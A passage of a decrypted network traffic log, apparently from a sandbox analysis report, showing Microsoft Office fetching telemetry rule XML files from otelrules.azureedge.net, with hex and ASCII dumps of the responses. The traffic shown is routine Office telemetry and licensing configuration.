2024-11-19 23:19:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:22 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: cb785bac-301e-0000-6c8c-3aeecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231922Z-r1d97b99577n4dznhC1TEBc1qw000000082g000000009em4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:22 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:22 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:22 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: d7880247-601e-0070-328c-3aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231922Z-185f5d8b95cp7lkfhC1NYC7rpw00000009h000000000cvkd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:22 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:22 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:22 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231922Z-1777c6cb754n67brhC1TEBcp9c00000008ug00000000bfxk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:22 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:22 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:22 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5a5a0c5e-c01e-0079-588c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231922Z-r1d97b995777mdbwhC1TEBezag000000081g000000006h4c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:22 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:23 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:23 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:23 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 8e68b69a-701e-005c-5c8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231923Z-185f5d8b95cwtv72hC1NYC141w000000097000000000tf2y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:23 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:23 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:23 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 6a1e2df9-c01e-008d-338c-3a2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231923Z-r1d97b99577ckpmjhC1TEBrzs0000000080g00000000eg3a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:23 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:23 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:23 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 47e3bf54-c01e-0082-038c-3aaf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231923Z-1777c6cb754gc8g6hC1TEB966c00000008tg000000006n0v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:23 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:23 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:23 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:23 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 85babd8c-f01e-003f-4e8c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231923Z-1777c6cb754dqf99hC1TEB5nps00000008m000000000de7y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:23 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:23 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:23 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:23 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: ff95cf15-b01e-0001-328c-3a46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231923Z-1777c6cb754n67brhC1TEBcp9c00000008sg00000000k6cn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:23 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:23 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:23 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:23 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: d35eb2be-501e-0064-3d8c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231923Z-r1d97b995777mdbwhC1TEBezag00000007z000000000dgwe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:23 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:23 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:23 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:23 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231923Z-185f5d8b95c4hl5whC1NYCeex000000009dg000000000w5u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:23 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:23 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:23 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:23 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6d4f85c2-e01e-0003-2b8c-3a0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231923Z-1777c6cb754xrr98hC1TEB3kag00000008n0000000008vea x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:23 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:24 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
